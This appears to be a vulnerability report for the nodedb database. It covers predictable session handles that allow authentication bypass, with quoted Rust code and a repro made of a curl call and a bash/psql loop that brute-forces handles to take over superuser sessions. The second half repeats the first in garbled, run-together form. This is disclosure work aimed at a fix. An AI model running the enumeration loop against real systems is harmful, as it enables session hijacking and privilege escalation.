Authentication bypass via handle prediction**. Session handles stored in SessionHandleStore and resolved on every pgwire query via SET LOCAL nodedb.auth_session = '<handle>' are generated from the current wall-clock second plus a global atomic counter. The handle space is small and predictable; an attacker who observes any one handle can enumerate every other valid handle issued in the same second window, each of which resolves to its original AuthContext — including superuser contexts.
Current code
File: nodedb/src/control/security/session_handle.rs:118-127
/// Generate a cryptographically random UUID-like handle.
fn generate_handle() -> String {
use std::sync::atomic::{AtomicU64, Ordering};
static COUNTER: AtomicU64 = AtomicU64::new(0);
let ts = now_secs();
let seq = COUNTER.fetch_add(1, Ordering::Relaxed);
// Use timestamp + counter for uniqueness. Not cryptographic but sufficient
// for session handles since the handle is opaque and short-lived.
format!("nds_{ts:x}_{seq:08x}")
}
The docstring says "cryptographically random" but the implementation is ts + global counter. Both components are observable:
ts is the second-resolution server clock — knowable within ~1 second from any HTTP response's Date: header, TLS handshake timestamps, or /health/live response time.
seq is a process-global monotonic counter starting at 0 at process boot; every issued handle leaks the current counter value. Rate of advance is trivially estimable from any observed handle or from inducing handle creation.
Resolver — session_handle.rs:69-77:
pub fn resolve(&self, handle: &str) -> Option<AuthContext> {
let sessions = self.sessions.read().unwrap_or_else(|p| p.into_inner());
let cached = sessions.get(handle)?;
let now = now_secs();
if now >= cached.expires_at {
return None;
}
Some(cached.auth_context.clone())
}
Returns the full AuthContext (including identity.is_superuser, identity.roles, tenant_id, RLS context) for any guessed handle. No rate-limit, no throttling, no audit on resolve.
Attack surface — pgwire/handler/routing/mod.rs:98:
let mut auth_ctx = if let Some(handle) =
self.sessions.get_parameter(addr, "nodedb.auth_session")
&& let Some(cached) = self.state.session_handles.resolve(&handle)
{
cached // ← whole AuthContext replaced
} else {
crate::control::server::session_auth::build_auth_context_with_session(...)
};
Any pgwire session can SET LOCAL nodedb.auth_session = 'nds_<ts>_<seq>' and — if the handle happens to resolve — the full AuthContext is substituted for the remainder of the session.
Why it's broken
- The handle space for a given second is bounded by the counter, typically thousands, not 2^128.
- An attacker who captures one handle (
nds_194a93f2a_000000f3) learns:
ts = 0x194a93f2a (second boundary)
seq = 0xf3 (243 handles issued so far)
- In the same second, handles
nds_194a93f2a_00000000 through nds_194a93f2a_00000??? are all valid.
- Adjacent seconds are also enumerable — expected window = (handles/sec × TTL_seconds).
- Resolve has no rate limit;
SessionHandleStore::resolve is O(1) HashMap lookup with read lock, so bruteforce is unthrottled.
generate_session_id elsewhere follows the same pattern (same file region), so the internal session_id used for RLS / audit correlation is equally guessable.
Repro
# 1. Obtain any one handle (even a low-privilege one):
curl -H 'Authorization: Bearer <low-priv-jwt>' https://host/api/auth/session
# → {"session_id":"nds_194a93f2a_00000017", ...}
# 2. Enumerate adjacent handles — one resolves per existing session:
for seq in $(seq 0 4095); do
handle="nds_194a93f2a_$(printf '%08x' $seq)"
# Via pgwire: any tenant's low-priv user can test by setting the handle.
psql "postgres://any_user:pw@host:6432/nodedb" \
-c "SET LOCAL nodedb.auth_session = '$handle'; SELECT current_user, current_setting('is_superuser');"
done
The resulting AuthContext replacement gives the attacker the original session's identity, including superuser sessions that happen to be active.
Notes
Authentication bypass via handle prediction**. Session handles stored in
SessionHandleStoreand resolved on every pgwire query viaSET LOCAL nodedb.auth_session = '<handle>'are generated from the current wall-clock second plus a global atomic counter. The handle space is small and predictable; an attacker who observes any one handle can enumerate every other valid handle issued in the same second window, each of which resolves to its originalAuthContext— including superuser contexts.Current code
File:
nodedb/src/control/security/session_handle.rs:118-127The docstring says "cryptographically random" but the implementation is
ts + global counter. Both components are observable:tsis the second-resolution server clock — knowable within ~1 second from any HTTP response'sDate:header, TLS handshake timestamps, or/health/liveresponse time.seqis a process-global monotonic counter starting at 0 at process boot; every issued handle leaks the current counter value. Rate of advance is trivially estimable from any observed handle or from inducing handle creation.Resolver —
session_handle.rs:69-77:Returns the full
AuthContext(includingidentity.is_superuser,identity.roles,tenant_id, RLS context) for any guessed handle. No rate-limit, no throttling, no audit on resolve.Attack surface —
pgwire/handler/routing/mod.rs:98:Any pgwire session can
SET LOCAL nodedb.auth_session = 'nds_<ts>_<seq>'and — if the handle happens to resolve — the full AuthContext is substituted for the remainder of the session.Why it's broken
nds_194a93f2a_000000f3) learns:ts = 0x194a93f2a(second boundary)seq = 0xf3(243 handles issued so far)nds_194a93f2a_00000000throughnds_194a93f2a_00000???are all valid.SessionHandleStore::resolveis O(1) HashMap lookup with read lock, so bruteforce is unthrottled.generate_session_idelsewhere follows the same pattern (same file region), so the internal session_id used for RLS / audit correlation is equally guessable.Repro
The resulting
AuthContextreplacement gives the attacker the original session's identity, including superuser sessions that happen to be active.Notes
SessionHandleStore::default) is long enough for wide-window bruteforce.